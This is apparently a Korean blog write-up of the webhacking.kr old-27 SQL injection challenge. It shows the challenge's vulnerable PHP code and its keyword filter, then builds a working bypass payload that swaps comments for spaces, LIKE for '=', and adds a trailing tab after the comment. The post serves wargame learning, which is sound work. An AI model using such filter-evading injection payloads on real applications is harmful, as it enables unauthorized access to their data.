반응형

sql injection문제이다.

주요 코드는 아래와 같다.

<?php
  if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
  $r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
  if($r['id']=="guest") echo("guest");
  if($r['id']=="admin") solve(27); // admin's no = 2
}
?>

필터링 룰은 #, select, (, 공백, limit, =, 0x , 대소문자 구별X 이다.

 

목적은 no = 2 를 만드는 것이다.

확인해보니 guest는 no = 1이다. 

그렇기에 넣어야하는 쿼리문은 0) no = 2--이다.

 

공백 우회는 /**/ 를 활용하고, =은 like를 활용하여 우회하면 된다.

 

최종 쿼리문은 0)/**/or/**/no/**/like/**/2-- 이 된다.

 

하지만 전혀 풀리지 않는다...

 

분명 맞는 쿼리인데 계속 안되어서 고민하다가 이전에 선배님께서 얘기해주신 바로 쿼리문이 안먹힐때는 뒤에 공백을 넣어보라하셨었다.

 

그러나 공백이 필터링되고 있으므로 %09를 맨뒤에 넣어주었다.

최종 쿼리문: 0)/**/or/**/no/**/like/**/2--%09

%09는 더블 인코딩 때문에 url에 바로 넣었다.

바로 풀리네 ㅋㅋ

===============================================

뒤에 공백을 넣었을 때 풀리는 이유에 대해 찾아보니 

-- 주석뒤에는 반드시 공백이 와야한다고 한다. 심지어 %20 같은게 아니라 %09가 와야한다고 한다.

꼭 기억해놔야할 것 같다.

===============================================

반응형

'webhacking.kr' 카테고리의 다른 글

webhacking.kr [old-27]  (0) 2023.07.15
webhacking.kr [old-25]  (0) 2023.07.15
webhacking.kr [old-24]  (0) 2023.07.13
webhacking.kr [old-05]  (0) 2023.07.13
webhacking.kr [old-54]  (0) 2023.07.13

+ Recent posts